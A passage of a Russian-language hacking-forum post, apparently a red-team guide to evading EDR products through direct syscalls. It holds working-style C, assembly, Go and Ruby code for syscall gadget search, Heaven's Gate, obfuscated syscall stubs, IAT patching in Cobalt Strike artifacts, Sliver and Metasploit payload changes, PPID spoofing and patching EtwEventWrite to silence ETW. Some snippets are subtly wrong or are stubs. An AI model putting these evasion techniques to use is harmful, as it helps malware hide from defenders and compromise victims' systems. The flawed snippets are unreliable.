Важно: Этот метод требует глубокого понимания работы стека. Неправильная манипуляция со стеком приведёт к краху.

Решение 2: Jump Oriented Syscall (JOP)

Вместо прямого вызова syscall, мы используем цепочку jmp-гаджетов внутри ntdll.dll, которая в итоге приведёт к выполнению syscall.

C:
PVOID FindSyscallGadget() {
    // Ищем в ntdll.dll последовательность:
    // jmp [mem]  или  call [mem], которая ведёт на syscall
    // Или даже: mov eax, SSN; jmp [адрес_с_syscall]
   
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PBYTE base = (PBYTE)hNtdll;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(base + ((PIMAGE_DOS_HEADER)base)->e_lfanew);
    DWORD textSize = ntHeaders->OptionalHeader.SizeOfCode;
    PBYTE textStart = base + ntHeaders->OptionalHeader.BaseOfCode;
   
    for (DWORD i = 0; i < textSize - 20; i++) {
        // Ищем jmp/call с косвенной адресацией
        if ((textStart[i] == 0xFF && (textStart[i+1] == 0x25 || textStart[i+1] == 0x15)) || // jmp/call [mem]
            (textStart[i] == 0x48 && textStart[i+1] == 0xFF && textStart[i+2] == 0x25)) {   // jmp qword ptr [rip+offset]
           
            // Проверяем, ведёт ли этот прыжок к syscall
            PVOID possibleTarget = ResolveIndirectJump(textStart + i);
            if (IsAddressWithinSyscall(possibleTarget)) {
                return textStart + i;
            }
        }
    }
    return NULL;
}

Решение 3: Heaven's Gate (WoW64 переход)

Для 32-битных процессов на 64-битной Windows (WoW64) существует "ворота в небо" - переход из 32-битного режима в 64-битный. Некоторые EDR хукают только 32-битные вызовы, но не следят за 64-битными.

Код:
; 32-битный код
heavens_gate:
    push 0x33               ; Селектор 64-битного кода
    call @f
    db 0xEA                 ; Байт для far jump
    dd offset @f            ; Смещение
    dw 0x33                 ; Селектор
@@:
    ; Теперь мы в 64-битном режиме
    ; Можно выполнить 64-битный syscall
    mov eax, SSN
    syscall
    ; Возврат в 32-битный режим
    push 0x23               ; Селектор 32-битного кода
    push offset @back
    retf
@back:
    ; Продолжение 32-битного кода

Это экзотический метод, но он показывает, что всегда есть альтернативные пути.

7.2. Детект по аномалиям в таблице SSDT (Kernel Side)

Более продвинутые EDR могут проверять целостность таблицы системных вызовов (SSDT) в ядре. Если драйвер EDR увидит, что какой-то процесс вызывает syscall, которого нет в SSDT (или с неправильным SSN), это будет флагом.

Обход:
  1. Правильный SSN: Всегда используйте актуальные SSN для целевой системы.
  2. Не использовать устаревшие/недокументированные syscall: Например, NtSystemDebugControl редко используется легитимным софтом.
  3. Имитация легитимных вызовов: Вызывайте syscall с параметрами, которые типичны для легитимного ПО.

7.3. Детект по времени выполнения syscall

EDR могут замерять время выполнения syscall. Если вызов выполняется слишком быстро (потому что нет хуков) или слишком медленно (потому что есть дополнительная логика детекта), это может быть флагом.

Контрмеры:
  • Добавление задержек: Используйте NtDelayExecution с небольшими случайными интервалами перед критичными вызовами.
  • Вызов мусорных syscall: Создайте "шум", вызывая легитимные syscall между критичными операциями.

C:
// Функция для добавления случайной задержки
VOID AddJitter() {
    LARGE_INTEGER interval;
    interval.QuadPart = -(10000 * (10 + rand() % 50)); // 10-60ms в 100-наносекундных единицах
    NtDelayExecution(FALSE, &interval);
}

// Использование
AddJitter();
status = NtAllocateVirtualMemory(...);
AddJitter();

7.4. Детект по паттернам памяти (сигнатуры кода)

EDR сканируют память процессов на наличие известных сигнатур. Для прямых syscall типичные сигнатуры:
  • MOV EAX, &lt;SSN&gt; (B8 ?? ?? ?? ??)
  • MOV R10, RCX (4C 8B D1 или 49 8B D1)
  • SYSCALL (0F 05)
  • Комбинация вышеуказанного
Обфускация на лету:

C:
// Генерация уникальной последовательности для каждого вызова
PBYTE GenerateObfuscatedSyscall(DWORD ssn) {
    // Выделяем исполняемую память
    PBYTE buffer = (PBYTE)VirtualAlloc(NULL, 64, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
   
    // Генерируем случайный код
    PBYTE p = buffer;
   
    // Вариант 1: MOV EAX, SSN через PUSH/POP
    *p++ = 0x68; // PUSH imm32
    *((PDWORD)p) = ssn; p += 4;
    *p++ = 0x58; // POP EAX
   
    // Вариант 2: MOV R10, RCX через обмен регистров
    *p++ = 0x49; // REX.W
    *p++ = 0x87; // XCHG
    *p++ = 0xCA; // RDX, RCX (но в итоге нужно в R10)
   
    // Добавляем мусорные инструкции
    if (rand() % 2) {
        *p++ = 0x90; // NOP
        *p++ = 0x48; // DEC EAX (мусор)
        *p++ = 0x48;
    }
   
    // SYSCALL
    *p++ = 0x0F;
    *p++ = 0x05;
   
    // RET
    *p++ = 0xC3;
   
    return buffer;
}

// Использование
PBYTE syscallStub = GenerateObfuscatedSyscall(ssn);
NTSTATUS status = ((NTSTATUS (*)(...))syscallStub)(args...);
VirtualFree(syscallStub, 0, MEM_RELEASE);

Недостаток: Выделение исполняемой памяти каждый раз подозрительно. Лучше иметь пул заранее сгенерированных стабов.


8. Интеграция с существующими фреймворками. Детали.

8.1. Cobalt Strike: Aggressor Script и Artifact Kit

Cobalt Strike уже имеет некоторые механизмы для прямых syscall через Beacon's "syscall" модуль, но он ограничен. Вот как можно улучшить:

А. Модификация Artifact Kit (для EXE/DLL):
  1. Скачайте Artifact Kit из Cobalt Strike.
  2. В src-common/common.c найдите функцию patchme - это точка входа для патчей.
  3. Добавьте свой код для прямых syscall:

  1. C:
    // Вставка в common.c
    #ifdef DIRECT_SYSCALLS
    #include "syscalls.h" // Сгенерированный SysWhispers3 заголовок
    
    // Переопределение критичных функций
    BOOL WINAPI MyVirtualAlloc(...) {
        // Используем прямые syscall
        return (BOOL)NtAllocateVirtualMemory(...);
    }
    
    // Патчинг IAT (Import Address Table)
    void PatchIAT(HMODULE module) {
        PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)module;
        PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)module + dosHeader->e_lfanew);
        PIMAGE_IMPORT_DESCRIPTOR importDesc = (PIMAGE_IMPORT_DESCRIPTOR)((PBYTE)module +
            ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
       
        for (; importDesc->Name; importDesc++) {
            if (_stricmp((char*)module + importDesc->Name, "KERNEL32.dll") == 0) {
                PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)((PBYTE)module + importDesc->FirstThunk);
                for (; thunk->u1.Function; thunk++) {
                    if ((ULONG_PTR)thunk->u1.Function == (ULONG_PTR)GetProcAddress(GetModuleHandleA("kernel32.dll"), "VirtualAlloc")) {
                        // Заменяем адрес на нашу функцию
                        DWORD oldProtect;
                        VirtualProtect(&thunk->u1.Function, sizeof(ULONG_PTR), PAGE_READWRITE, &oldProtect);
                        thunk->u1.Function = (ULONG_PTR)MyVirtualAlloc;
                        VirtualProtect(&thunk->u1.Function, sizeof(ULONG_PTR), oldProtect, &oldProtect);
                    }
                }
            }
        }
    }
    #endif

  2. Пересоберите артефакты.
Б. Aggressor Script для динамической подгрузки:

C:
// syscall_loader.cna
sub syscall_load {
    local('$handle $data $offset $length');
   
    # Читаем RAW бинарный файл с прямыми syscall
    $handle = openf(script_resource("syscall.bin"));
    $data = readb($handle, -1);
    closef($handle);
   
    # Загружаем в Beacon
    $offset = 0;
    $length = strlen($data);
   
    while ($offset < $length) {
        $chunk = substr($data, $offset, 4096);
        beacon_inline_execute($chunk);
        $offset += 4096;
        sleep(1000); # Пауза между chunk'ами
    }
   
    btask($bid, "Syscall module loaded");
}

beacon_command_register(
    "syscall-load",
    "Load direct syscall module",
    "Usage: syscall-load",
    &syscall_load
);

8.2. Sliver: Native Support и кастомизация

Sliver имеет встроенную поддержку прямых syscall через импланты. При генерации импланта можно указать:

Bash:
sliver > generate implant --os windows --arch amd64 --format shellcode --syscalls
Кастомизация импланта:
  1. Исходный код Sliver открыт. Можно модифицировать implant/sliver/syscalls/syscall_windows.go.
  2. Добавить свои методы обфускации на Go :

Код:
// В syscall_windows.go
type SyscallWrapper struct {
    SSN         uint16
    GadgetAddr  uintptr
    Obfuscated  bool
}

func (s *SyscallWrapper) Call(args ...uintptr) uintptr {
    if s.Obfuscated {
        return s.CallObfuscated(args...)
    }
    return s.CallDirect(args...)
}

func (s *SyscallWrapper) CallObfuscated(args ...uintptr) uintptr {
    // Реализация обфусцированного вызова
    // 1. Перемешивание регистров
    // 2. Добавление мусорных инструкций
    // 3. Использование jump gadgets
    return 0
}

8.3. Metasploit: Пользовательские расширения

Для Metasploit можно написать кастомный пейлод на Ruby:

Ruby:
# modules/payloads/windows/x64/syscall_meterpreter.rb
module MetasploitModule
  include Msf::Payload::Windows::SyscallMeterpreter
 
  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Windows x64 Syscall Meterpreter',
      'Description'   => 'Meterpreter payload using direct syscalls',
      'Author'        => [ 'null_ptr' ],
      'Platform'      => 'win',
      'Arch'          => ARCH_X64,
      'PayloadCompat' => { 'Convention' => 'sockrdi' }
    ))
  end
 
  def generate(opts = {})
    # Генерация shellcode с прямыми syscall
    shellcode = super
   
    # Добавляем шифрование строк
    encrypt_strings(shellcode)
   
    # Добавляем обфускацию
    obfuscate_syscalls(shellcode)
   
    shellcode
  end
end

8.4. Собственный фреймворк: почему бы и нет

Если вы серьёзно занимаетесь red team, рано или поздно приходите к созданию своего инструмента. Преимущества:
  • Полный контроль над всеми компонентами.
  • Нет публичных сигнатур.
  • Возможность тонкой настройки под каждую операцию.
Структура минимального фреймворка:

Код:
/redframework
  /syscalls
    resolver.c      # Динамический поиск SSN
    gate.c          # Hell's/Halo's Gate реализации
    obfuscator.c    # Обфускация вызовов
  /injection
    apc.c           # APC инжекция
    thread.c        # Создание потоков
    map.c           # Manual map DLL
  /evasion
    etw.c           # Отключение ETW
    callback.c      # Работа с kernel callbacks
    ppid.c          # PPID spoofing
  /payloads
    meterpreter.c   # Адаптер для Meterpreter
    cobaltstrike.c  # Адаптер для Cobalt Strike
    custom.c        # Собственные payloads
  /communication
    http.c          # HTTP коммуникация
    dns.c           # DNS туннелирование
    smb.c           # SMB канал

9. Дебри ядра: когда userland-сисколлов недостаточно.

9.1. Kernel Callbacks - ахиллесова пята EDR

EDR используют kernel callbacks для получения уведомлений о событиях. Основные типы:
  1. Process Creation (PsSetCreateProcessNotifyRoutineEx) - создание процесса.
  2. Thread Creation (PsSetCreateThreadNotifyRoutine) - создание потока.
  3. Image Load (PsSetLoadImageNotifyRoutine) - загрузка образа (DLL/EXE).
  4. Registry (CmRegisterCallback) - операции с реестром.
  5. File System (MiniFilter) - операции с файлами.
  6. Object Manager (ObRegisterCallbacks) - работа с объектами (процессы, потоки).
Обход через удаление callback'ов:

Теоретически можно найти и удалить callback'и EDR из соответствующих массивов в ядре. Но это:
  1. Требует прав администратора (а часто и отключенного DSE).
  2. Крайне нестабильно (может вызвать BSOD).
  3. Легко детектируется самим EDR (проверка целостности своих callback'ов).
Более изящный метод: подмена контекста

Вместо удаления callback'ов, можно сделать так, чтобы ваши действия выглядели легитимными:

C:
// Подмена Parent Process ID (PPID Spoofing)
BOOL SpoofParentProcess(DWORD targetPid) {
    PROCESS_BASIC_INFORMATION pbi;
    NTSTATUS status = NtQueryInformationProcess(
        GetCurrentProcess(),
        ProcessBasicInformation,
        &pbi,
        sizeof(pbi),
        NULL);
   
    // Меняем InheritedFromUniqueProcessId в PEB целевого процесса
    HANDLE hTarget = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, targetPid);
   
    PPEB remotePeb;
    status = NtQueryInformationProcess(
        hTarget,
        ProcessBasicInformation,
        &pbi,
        sizeof(pbi),
        NULL);
    remotePeb = pbi.PebBaseAddress;
   
    // Записываем новый PPID (например, explorer.exe)
    DWORD newPpid = GetProcessIdByName("explorer.exe");
    WriteProcessMemory(hTarget, &remotePeb->ProcessParameters->ParentProcessId, &newPpid, sizeof(newPpid), NULL);
   
    CloseHandle(hTarget);
    return TRUE;
}

9.2. ETW и ETWTI: как закрыть рот системе

Event Tracing for Windows (ETW) - основной источник информации для EDR. Особенно опасен ETW Threat Intelligence (ETWTI), который логирует syscall.

Методы нейтрализации ETW:

А. Патчинг ntdll!EtwEventWrite:


C:
BOOL PatchETW() {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) return FALSE;
   
    FARPROC pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
    if (!pEtwEventWrite) return FALSE;
   
    DWORD oldProtect;
    if (!VirtualProtect(pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect)) {
        return FALSE;
    }
   
    // Патчим на ret (0xC3) или ret 0 (0xC2 0x00 0x00)
#ifdef _WIN64
    // Для x64: mov eax, 0; ret
    BYTE patch[] = { 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3 };
#else
    // Для x86: xor eax, eax; ret
    BYTE patch[] = { 0x33, 0xC0, 0xC3 };
#endif
   
    memcpy(pEtwEventWrite, patch, sizeof(patch));
    VirtualProtect(pEtwEventWrite, 1, oldProtect, &oldProtect);
   
    return TRUE;
}

Б. Отключение ETW через Patching в памяти процесса:

Более скрытный метод - найти структуры ETW в памяти и "испортить" их.

C:
typedef struct _ETW_REG_ENTRY {
    LIST_ENTRY RegList;
    PVOID Unknown[4];
    PVOID Callback; // Функция callback
} ETW_REG_ENTRY, *PETW_REG_ENTRY;

BOOL DisableETWTracing() {
    // 1. Находим EtwNotificationRegister в ntdll
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PVOID pEtwNotificationRegister = GetProcAddress(hNtdll, "EtwNotificationRegister");
   
    // 2. Ищем в её коде ссылки на глобальную переменную со списком регистраций
    // (Это требует реверс-инжиниринга и сильно зависит от версии Windows)
   
    // 3. Обходим список и зануляем Callback или меняем на свою заглушку
   
    return TRUE;
}

В. Использование недокументированных функций:

C:
// NtTraceControl может использоваться для управления ETW
typedef NTSTATUS (NTAPI *pNtTraceControl)(
    ULONG FunctionCode,
    PVOID InBuffer,
    ULONG InBufferLen,
    PVOID OutBuffer,
    ULONG OutBufferLen,
    PULONG ReturnLength);

BOOL DisableETWViaTraceControl() {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    pNtTraceControl NtTraceControl = (pNtTraceControl)GetProcAddress(hNtdll, "NtTraceControl");
   
    // FunctionCode = 0x1D (EVENT_TRACE_CONTROL_STOP) для остановки сессии
    // Нужно знать SessionHandle
    // Это сложно и требует реверса
   
    return FALSE;
}

9.3. Минусы работы в ядре

  1. Стабильность: Любая ошибка в ядре = BSOD (синий экран).
  2. Детект: PatchGuard (Kernel Patch Protection) в Windows 64-bit детектирует модификации критичных структур ядра.
  3. Подпись драйверов: Требуется подписанный драйвер (или отключенный DSE), что сложно в современных системах.
  4. Античитинг: EDR могут иметь свои драйверы, которые мониторят целостность ядра.
Рекомендация: Для большинства red team операций достаточно userland техник. К ядру стоит обращаться только в особых случаях и при наличии глубоких знаний.



Заключительные слова

Прямые системные вызовы - это не серебряная пуля, а один из многих инструментов в арсенале. Ключ к успеху - не в использовании самой сложной техники, а в правильном применении подходящей техники в нужное время.

Помните: наша цель как специалистов по безопасности - понимание систем. С этим пониманием приходит возможность и защищать, и атаковать. Выбор за вами.

Оставайтесь любопытными. Оставайтесь этичными. Оставайтесь в тени.
 
Последнее редактирование модератором:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы